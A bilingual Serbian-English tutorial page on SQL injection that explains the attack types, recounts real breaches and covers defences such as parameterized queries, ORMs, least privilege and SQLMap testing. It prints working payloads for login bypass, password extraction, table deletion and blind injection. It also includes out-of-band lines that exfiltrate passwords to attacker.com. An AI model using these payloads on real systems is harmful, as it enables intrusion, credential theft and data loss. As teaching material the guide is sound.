SQL Injection — Objasnjenje i zastita

Kompletni vodic za SQL Injection napade: kako funkcionisu, tipovi, realni primeri i detaljne mere zastite

#3
OWASP Top 10 (2021)
$700M
Equifax kazna (2017)
147M
Pogodjena lica (Equifax)

1. Sta je SQL Injection

SQL Injection (SQLi) je tip napada gde napadac ubacuje maliciozan SQL kod kroz korisnicki unos koji se direktno koristi u SQL upitima bez adekvatne sanitizacije. Ovo je jedna od najstarijih, ali i dalje najcescih i najopasnijih web ranjivosti.

SQL Injection je klasifikovan kao CWE-89: Improper Neutralization of Special Elements used in an SQL Command. U OWASP Top 10 2021, SQL Injection spada pod kategoriju A03:2021 — Injection (zajedno sa OS command injection, LDAP injection i drugima).

Prema Akamai izvestaju, SQL Injection napadi cine oko 65% svih napada na web aplikacije. Uprkos tome sto zastita postoji vec decenijama (prepared statements su dostupni od 1990-ih), ovaj napad ostaje dominantan zbog nastavka prakse konkatenacije SQL upita.

Koliko je cest: Prema Verizon Data Breach Investigations Report-u (DBIR), SQL Injection je bio uzrok ili faktor u oko 25% svih povreda podataka u periodu 2015-2022.

2. Kako SQL Injection radi — korak po korak

Primer: Login forma

Zamislite login formu gde korisnik unosi username i password. Server koristi te podatke da napravi SQL upit:

// Ranjiv PHP kod
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Korak 1: Normalan login

// Korisnik unosi: username = "marko", password = "tajno123"
// Generisani SQL upit:
SELECT * FROM users WHERE username = 'marko' AND password = 'tajno123'
// Rezultat: vraca Markov nalog ako podaci odgovaraju

Korak 2: SQL Injection napad

// Napadac unosi: username = "admin' --", password = "bilo_sta"
// Generisani SQL upit:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'bilo_sta'
// "--" je SQL komentar — sve posle toga se ignorise!
// Efektivni upit:
SELECT * FROM users WHERE username = 'admin'
// Rezultat: napadac se uloguje kao admin BEZ lozinke!

Korak 3: Napredni napad — izvlacenje podataka

// Napadac unosi: username = "' UNION SELECT username, password FROM users --"
// Generisani upit:
SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users --'
// UNION kombinuje rezultate — napadac dobija sve korisnike i lozinke!

Korak 4: Destruktivan napad

// Napadac unosi: username = "'; DROP TABLE users; --"
// Generisani upit:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Rezultat: CELA tabela korisnika je obrisana!
VAZNO: Ovi primeri su iskljucivo u edukativne svrhe. Izvodjenje SQL Injection napada na sisteme bez ovlascenja je krivicno delo po Zakonu o racunarskoj bezbednosti.

3. Tipovi SQL Injection napada

TipOpisTezina detekcijeOpasnost
Classic (In-band)Rezultat napada je vidljiv na straniciLakaVisoka
Error-basedKoristi SQL error poruke za izvlacenje podatakaLakaVisoka
UNION-basedKoristi UNION operator za kombinovanje upitaSrednjaVisoka
Blind BooleanSaznaje podatke kroz true/false odgovoreTeskaVisoka
Blind Time-basedKoristi SLEEP/WAITFOR za detekcijuTeskaVisoka
Out-of-BandPodaci se salju na napadacev server (DNS, HTTP)Vrlo teskaVisoka

Classic (In-band) SQL Injection

Najjednostavniji tip — napadac vidi rezultate upita direktno na stranici. Ukljucuje Error-based (koriscenje SQL gresaka) i UNION-based (kombinovanje rezultata).

// Error-based — izvlacenje verzije baze
' AND 1=CONVERT(int, @@version) --
// Error: Conversion failed... "Microsoft SQL Server 2019..."

// UNION-based — izvlacenje tabela
' UNION SELECT table_name, NULL FROM information_schema.tables --

Blind SQL Injection — Boolean-based

Kada server ne prikazuje SQL greske, napadac saznaje podatke postavljajuci true/false pitanja:

// Da li prvi karakter admin lozinke je 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
// Ako stranica radi normalno = TRUE (karakter je 'a')
// Ako stranica prikazuje gresku = FALSE (karakter nije 'a')

// Napadac ponavlja za svaki karakter — sporo ali efektivno
// Automatizcija: SQLMap automatski radi ovo

Blind SQL Injection — Time-based

Kada server ne daje nikakvu razliku u odgovoru, napadac koristi kasnjenje (delay) za detekciju:

// MySQL
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0) --
// Ako odgovor kasni 5 sekundi = TRUE
// Ako je odgovor odmah = FALSE

// SQL Server
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '00:00:05' --

// PostgreSQL
'; SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END --

Out-of-Band SQL Injection

Podaci se salju na napadacev server putem DNS ili HTTP zahteva. Koristi se kada in-band i blind metode ne rade:

// SQL Server — DNS exfiltration
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) --

// MySQL — HTTP exfiltration (ako je omoguceno)
' UNION SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\', (SELECT password FROM users LIMIT 1))) --

4. Realni primeri napada

Heartland Payment Systems (2008)

Albert Gonzalez i njegov tim su koristili SQL Injection da kompromituju Heartland Payment Systems, jedan od najvecih procesora karticnih transakcija u SAD-u. Napad je rezultirao kradjom 130 miliona brojeva kreditnih i debitnih kartica — u tom trenutku najveca kradja podataka u istoriji. Gonzalez je osudjen na 20 godina zatvora.

Sony Pictures (2011)

Hakerska grupa LulzSec je iskoristila SQL Injection ranjivost na Sony Pictures sajtu i kompromitovala 77 miliona korisnickih naloga na PlayStation Network-u. Podaci su ukljucivali imena, adrese, email adrese i lozinke (koje su bile cuvane u plain text-u, bez hashiranja). Sony je morao da ugasi PSN na 23 dana i procenjena steta je bila preko 171 milion dolara.

Equifax (2017)

Mada Equifax napad je primarno koristio Apache Struts ranjivost (CVE-2017-5638), SQL Injection je bio deo lanca napada za izvlacenje podataka. Kompromitovano je 147 miliona korisnickih zapisa ukljucujuci Social Security brojeve, datume rodjenja i adrese. Equifax je platio $700 miliona u nagodbi sa FTC-om, sto je najveca kazna za krsenje podataka u istoriji SAD-a.

TalkTalk (2015)

Britanski telekom provajder TalkTalk je hakovan putem SQL Injection-a. Kompromitovano je 157,000 korisnickih naloga. TalkTalk je kaznjen sa 400,000 funti od strane ICO. Interesantno, napadac je bio 17-godisnjak.

7-Eleven Japan (2019)

Napadaci su koristili SQL Injection za pristup sistemu 7pay mobilnog placanja. Kompromitovano je 900 naloga sa ukupnom kradjom od oko 500,000 dolara. 7-Eleven je morao da ugasi ceo servis.

5. Posledice SQL Injection-a

  • Neovlascen pristup bazi — Citanje svih tabela, ukljucujuci korisnicke podatke, lozinke, finansijske informacije
  • Modifikacija podataka — Promena cena, izmena korisnickih naloga, dodavanje admin pristupa
  • Brisanje podataka — DROP TABLE, DELETE FROM — potpuni gubitak podataka
  • Privilege escalation — Dodavanje admin naloga, dobijanje pristupa koji ne bi trebalo da imate
  • OS command execution — Na nekim DB sistemima (SQL Server sa xp_cmdshell) napadac moze da izvrsi komande na serveru
  • Lateralni pokret — Koriscenje DB servera kao odskocne tacke za napad na interne sisteme
  • Finansijska steta — Kazne (GDPR, FTC), sudski troskovi, gubitak klijenata
  • Reputaciona steta — Gubitak poverenja korisnika i poslovnih partnera

6. Zastita: Prepared Statements (Parameterized Queries)

Prepared statements su najefektivnija zastita od SQL Injection-a. Princip je jednostavan: odvojite SQL kod od podataka. Baza podataka tretira parametre iskljucivo kao vrednosti, nikada kao deo SQL koda.

PHP — PDO

// RANJIVO — konkatenacija
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// BEZBEDNO — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    ':username' => $username,
    ':password' => $password
]);
$user = $stmt->fetch();

Python — sqlite3 / psycopg2

# RANJIVO
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# BEZBEDNO — parametrizovani upit
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

# SQLAlchemy
from sqlalchemy import text
result = db.execute(text("SELECT * FROM users WHERE username = :name"), {"name": username})

Java — JDBC

// RANJIVO
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

// BEZBEDNO — PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

Node.js — mysql2 / pg

// RANJIVO
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);

// BEZBEDNO — mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

// BEZBEDNO — pg (PostgreSQL)
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1 AND password = $2',
  [username, password]
);

C# — ADO.NET

// RANJIVO
string query = "SELECT * FROM users WHERE username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);

// BEZBEDNO — SqlParameter
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, conn);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
Zasto prepared statements rade: Baza podataka kompajlira SQL upit BEZ korisnickih podataka, kreirajuci fiksni plan izvrsavanja. Zatim se korisnicki podaci salju odvojeno kao parametri. Cak i ako parametar sadrzi ' OR 1=1 --, baza ga tretira kao literal string, ne kao SQL kod.

7. Zastita: ORM alati

Object-Relational Mapping (ORM) alati automatski generisu parametrizovane SQL upite, pruzajuci zastitu od SQL Injection-a uz bolju produktivnost razvoja.

Django ORM (Python)

# BEZBEDNO — Django ORM automatski parametrizuje
user = User.objects.filter(username=username, password=password).first()

# Takodje bezbedno — lookups
users = User.objects.filter(email__contains=search_term)

# OPASNO — raw query bez parametrizacije
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'"  )  # NE!

# BEZBEDNO — raw query SA parametrizacijom
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])

SQLAlchemy (Python)

from sqlalchemy import select
from models import User

# BEZBEDNO — SQLAlchemy query builder
stmt = select(User).where(User.username == username)
result = session.execute(stmt).first()

Prisma (Node.js / TypeScript)

// BEZBEDNO — Prisma automatski parametrizuje
const user = await prisma.user.findUnique({
  where: {
    username: username,
  },
});

// BEZBEDNO — findMany sa filterima
const users = await prisma.user.findMany({
  where: {
    email: { contains: searchTerm },
  },
});

Sequelize (Node.js)

// BEZBEDNO — Sequelize model query
const user = await User.findOne({
  where: { username: username, password: password }
});

// OPASNO — raw query
sequelize.query(`SELECT * FROM users WHERE username = '${username}'`); // NE!

// BEZBEDNO — raw query sa parametrima
sequelize.query('SELECT * FROM users WHERE username = ?', {
  replacements: [username],
  type: QueryTypes.SELECT
});

8. Zastita: Input validacija i Least Privilege

Input validacija (dodatni sloj)

Input validacija nije zamena za prepared statements, ali je koristan dodatni sloj zastite:

// Whitelist za numericke ID-jeve
function validateId(input) {
  var id = parseInt(input, 10);
  if (isNaN(id) || id < 1) throw new Error('Invalid ID');
  return id;
}

// Whitelist za sort kolone
var allowedColumns = ['name', 'email', 'created_at'];
function validateSortColumn(input) {
  if (!allowedColumns.includes(input)) throw new Error('Invalid column');
  return input;
}

// Whitelist za sort smer
function validateSortOrder(input) {
  return input === 'DESC' ? 'DESC' : 'ASC';
}

Princip najmanje privilegije (Least Privilege)

Kreirajte odvojene DB korisnike sa minimalnim privilegijama:

-- Korisnik za citanje (web aplikacija - vecina upita)
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON mydb.* TO 'app_readonly'@'localhost';

-- Korisnik za pisanje (kada je potrebno)
CREATE USER 'app_write'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_write'@'localhost';
-- NAPOMENA: Nema DELETE, DROP, ALTER privilegija!

-- Nikada ne koristite root nalog za web aplikaciju!
-- Nikada ne dodeljujte: DROP, ALTER, GRANT, FILE, PROCESS, SUPER

Stored procedure (oprezno)

-- Stored procedure moze pomoci, ali MORA koristiti parametre
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
    SELECT * FROM users WHERE username = p_username;
    -- p_username je parametrizovan — bezbedan
END;

-- OPASNO — dinamicki SQL u proceduri
CREATE PROCEDURE UnsafeSearch(IN p_term VARCHAR(100))
BEGIN
    SET @query = CONCAT('SELECT * FROM products WHERE name LIKE ''%', p_term, '%''');
    PREPARE stmt FROM @query;
    EXECUTE stmt;  -- Ranjivo na SQL Injection!
END;

9. Zastita: WAF i testiranje

Web Application Firewall (WAF)

WAF je dodatni sloj zastite koji analizira HTTP zahteve i blokira sumnjive SQL Injection pokusaje. Popularne opcije:

  • ModSecurity — Open-source WAF za Apache, Nginx i IIS. OWASP Core Rule Set (CRS) ukljucuje pravila za SQL Injection detekciju.
  • Cloudflare WAF — Cloud-based WAF sa ugradjenim pravilima za SQLi.
  • AWS WAF — Amazon-ov WAF sa managed rule group-ama za SQL Injection.
  • Imperva — Enterprise WAF sa naprednom SQLi zastitom.
WAF nije zamena za prepared statements! WAF moze biti zaobidjen sa dovoljno sofisticiranim payload-om (encoding, komentari, alternativna sintaksa). Koristite WAF kao dodatni sloj, ne kao primarnu zastitu.

Testiranje sa SQLMap

SQLMap je open-source alat za automatsko testiranje i eksploataciju SQL Injection ranjivosti. Koristite ga za testiranje vasih sopstvenih aplikacija:

# Osnovno testiranje
sqlmap -u "https://vasajt.com/page?id=1" --batch

# Testiranje POST parametara
sqlmap -u "https://vasajt.com/login" --data="username=test&password=test" --batch

# Enumeracija baza podataka
sqlmap -u "https://vasajt.com/page?id=1" --dbs --batch

# Enumeracija tabela
sqlmap -u "https://vasajt.com/page?id=1" -D mydb --tables --batch

# Dump podataka (SAMO na sopstvenom sistemu!)
sqlmap -u "https://vasajt.com/page?id=1" -D mydb -T users --dump --batch

Drugi alati za testiranje

  • OWASP ZAP — Open-source web security skener sa SQL Injection detekcijom
  • Burp Suite — Profesionalni alat za web security testiranje
  • Havij — Automatizcani SQL Injection alat (samo za autorizovano testiranje)
  • jSQL Injection — Java-baziran SQLi alat

10. Reference i resursi

Skenirajte bezbednost vaseg sajta

SQL Injection — Explanation and Protection

Complete guide to SQL Injection attacks: how they work, types, real-world examples, and detailed protection measures

#3
OWASP Top 10 (2021)
$700M
Equifax fine (2017)
147M
Affected individuals (Equifax)

1. What is SQL Injection

SQL Injection (SQLi) is a type of attack where an attacker injects malicious SQL code through user input that is directly used in SQL queries without adequate sanitization. It is one of the oldest, yet still most common and dangerous web vulnerabilities.

SQL Injection is classified as CWE-89: Improper Neutralization of Special Elements used in an SQL Command. In OWASP Top 10 2021, SQL Injection falls under category A03:2021 — Injection (along with OS command injection, LDAP injection, and others).

According to the Akamai report, SQL Injection attacks constitute about 65% of all web application attacks. Despite the fact that protection has existed for decades (prepared statements have been available since the 1990s), this attack remains dominant due to the continued practice of SQL query concatenation.

How common: According to the Verizon Data Breach Investigations Report (DBIR), SQL Injection was the cause or factor in about 25% of all data breaches in the 2015-2022 period.

2. How SQL Injection works — step by step

Example: Login form

Imagine a login form where the user enters a username and password. The server uses this data to create an SQL query:

// Vulnerable PHP code
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

Step 1: Normal login

// User enters: username = "marko", password = "secret123"
// Generated SQL query:
SELECT * FROM users WHERE username = 'marko' AND password = 'secret123'
// Result: returns Marko's account if credentials match

Step 2: SQL Injection attack

// Attacker enters: username = "admin' --", password = "anything"
// Generated SQL query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
// "--" is an SQL comment — everything after it is ignored!
// Effective query:
SELECT * FROM users WHERE username = 'admin'
// Result: attacker logs in as admin WITHOUT a password!

Step 3: Advanced attack — data extraction

// Attacker enters: username = "' UNION SELECT username, password FROM users --"
// Generated query:
SELECT * FROM users WHERE username = '' UNION SELECT username, password FROM users --'
// UNION combines results — attacker gets all users and passwords!

Step 4: Destructive attack

// Attacker enters: username = "'; DROP TABLE users; --"
// Generated query:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
// Result: the ENTIRE users table is deleted!
IMPORTANT: These examples are for educational purposes only. Performing SQL Injection attacks on systems without authorization is a criminal offense.

3. Types of SQL Injection attacks

TypeDescriptionDetection difficultyDanger
Classic (In-band)Attack result is visible on the pageEasyHigh
Error-basedUses SQL error messages for data extractionEasyHigh
UNION-basedUses UNION operator to combine queriesMediumHigh
Blind BooleanDiscovers data through true/false responsesHardHigh
Blind Time-basedUses SLEEP/WAITFOR for detectionHardHigh
Out-of-BandData sent to attacker's server (DNS, HTTP)Very hardHigh

Classic (In-band) SQL Injection

The simplest type — the attacker sees the query results directly on the page. Includes Error-based (using SQL errors) and UNION-based (combining results).

// Error-based — extracting database version
' AND 1=CONVERT(int, @@version) --
// Error: Conversion failed... "Microsoft SQL Server 2019..."

// UNION-based — extracting tables
' UNION SELECT table_name, NULL FROM information_schema.tables --

Blind SQL Injection — Boolean-based

When the server does not display SQL errors, the attacker discovers data by asking true/false questions:

// Is the first character of admin password 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
// If page works normally = TRUE (character is 'a')
// If page shows error = FALSE (character is not 'a')

// Attacker repeats for each character — slow but effective
// Automation: SQLMap does this automatically

Blind SQL Injection — Time-based

When the server gives no difference in response, the attacker uses delay for detection:

// MySQL
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0) --
// If response delays 5 seconds = TRUE
// If response is immediate = FALSE

// SQL Server
'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '00:00:05' --

4. Real-world attack examples

Heartland Payment Systems (2008)

Albert Gonzalez and his team used SQL Injection to compromise Heartland Payment Systems, one of the largest card transaction processors in the US. The attack resulted in the theft of 130 million credit and debit card numbers — at the time the largest data theft in history. Gonzalez was sentenced to 20 years in prison.

Sony Pictures (2011)

The hacker group LulzSec exploited an SQL Injection vulnerability on the Sony Pictures site and compromised 77 million user accounts on the PlayStation Network. The data included names, addresses, email addresses, and passwords (which were stored in plain text, without hashing). Sony had to shut down PSN for 23 days and estimated damage exceeded $171 million.

Equifax (2017)

While the Equifax attack primarily used an Apache Struts vulnerability (CVE-2017-5638), SQL Injection was part of the attack chain for data extraction. 147 million user records were compromised including Social Security numbers, birth dates, and addresses. Equifax paid $700 million in a settlement with the FTC, the largest data breach fine in US history.

TalkTalk (2015)

British telecom provider TalkTalk was hacked via SQL Injection. 157,000 user accounts were compromised. TalkTalk was fined 400,000 pounds by the ICO. Interestingly, the attacker was a 17-year-old.

5. Consequences of SQL Injection

  • Unauthorized database access — Reading all tables, including user data, passwords, financial information
  • Data modification — Changing prices, modifying user accounts, adding admin access
  • Data deletion — DROP TABLE, DELETE FROM — complete data loss
  • Privilege escalation — Adding admin accounts, gaining access you should not have
  • OS command execution — On some DB systems (SQL Server with xp_cmdshell) the attacker can execute commands on the server
  • Lateral movement — Using the DB server as a stepping stone to attack internal systems
  • Financial damage — Fines (GDPR, FTC), legal costs, customer loss
  • Reputational damage — Loss of trust from users and business partners

6. Protection: Prepared Statements (Parameterized Queries)

Prepared statements are the most effective protection against SQL Injection. The principle is simple: separate SQL code from data. The database treats parameters exclusively as values, never as part of SQL code.

PHP — PDO

// VULNERABLE — concatenation
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// SAFE — PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute([
    ':username' => $username,
    ':password' => $password
]);
$user = $stmt->fetch();

Python — sqlite3 / psycopg2

# VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

Java — JDBC

// VULNERABLE
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);

// SAFE — PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

Node.js — mysql2 / pg

// VULNERABLE
const query = `SELECT * FROM users WHERE username = '${username}'`;
connection.query(query);

// SAFE — mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

// SAFE — pg (PostgreSQL)
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1 AND password = $2',
  [username, password]
);
Why prepared statements work: The database compiles the SQL query WITHOUT user data, creating a fixed execution plan. Then user data is sent separately as parameters. Even if a parameter contains ' OR 1=1 --, the database treats it as a literal string, not as SQL code.

7. Protection: ORM tools

Object-Relational Mapping (ORM) tools automatically generate parameterized SQL queries, providing SQL Injection protection with better development productivity.

Django ORM (Python)

# SAFE — Django ORM automatically parameterizes
user = User.objects.filter(username=username, password=password).first()

# Also safe — lookups
users = User.objects.filter(email__contains=search_term)

# DANGEROUS — raw query without parameterization
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")  # NO!

# SAFE — raw query WITH parameterization
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])

Prisma (Node.js / TypeScript)

// SAFE — Prisma automatically parameterizes
const user = await prisma.user.findUnique({
  where: {
    username: username,
  },
});

// SAFE — findMany with filters
const users = await prisma.user.findMany({
  where: {
    email: { contains: searchTerm },
  },
});

Sequelize (Node.js)

// SAFE — Sequelize model query
const user = await User.findOne({
  where: { username: username, password: password }
});

// DANGEROUS — raw query
sequelize.query(`SELECT * FROM users WHERE username = '${username}'`); // NO!

// SAFE — raw query with parameters
sequelize.query('SELECT * FROM users WHERE username = ?', {
  replacements: [username],
  type: QueryTypes.SELECT
});

8. Protection: Input validation and Least Privilege

Input validation (additional layer)

Input validation is not a replacement for prepared statements, but it is a useful additional layer of protection:

// Whitelist for numeric IDs
function validateId(input) {
  var id = parseInt(input, 10);
  if (isNaN(id) || id < 1) throw new Error('Invalid ID');
  return id;
}

// Whitelist for sort columns
var allowedColumns = ['name', 'email', 'created_at'];
function validateSortColumn(input) {
  if (!allowedColumns.includes(input)) throw new Error('Invalid column');
  return input;
}

Principle of Least Privilege

Create separate DB users with minimal privileges:

-- Read-only user (web application - most queries)
CREATE USER 'app_readonly'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON mydb.* TO 'app_readonly'@'localhost';

-- Write user (when needed)
CREATE USER 'app_write'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'app_write'@'localhost';
-- NOTE: No DELETE, DROP, ALTER privileges!

-- Never use root account for web applications!
-- Never grant: DROP, ALTER, GRANT, FILE, PROCESS, SUPER
WAF is not a replacement for prepared statements! A WAF can be bypassed with sufficiently sophisticated payloads (encoding, comments, alternative syntax). Use WAF as an additional layer, not as primary protection.

Testing with SQLMap

SQLMap is an open-source tool for automated SQL Injection testing and exploitation. Use it to test your own applications:

# Basic testing
sqlmap -u "https://yoursite.com/page?id=1" --batch

# Testing POST parameters
sqlmap -u "https://yoursite.com/login" --data="username=test&password=test" --batch

# Database enumeration
sqlmap -u "https://yoursite.com/page?id=1" --dbs --batch

# Table enumeration
sqlmap -u "https://yoursite.com/page?id=1" -D mydb --tables --batch

Other testing tools

  • OWASP ZAP — Open-source web security scanner with SQL Injection detection
  • Burp Suite — Professional web security testing tool
  • jSQL Injection — Java-based SQLi tool

10. References and resources

Scan your site's security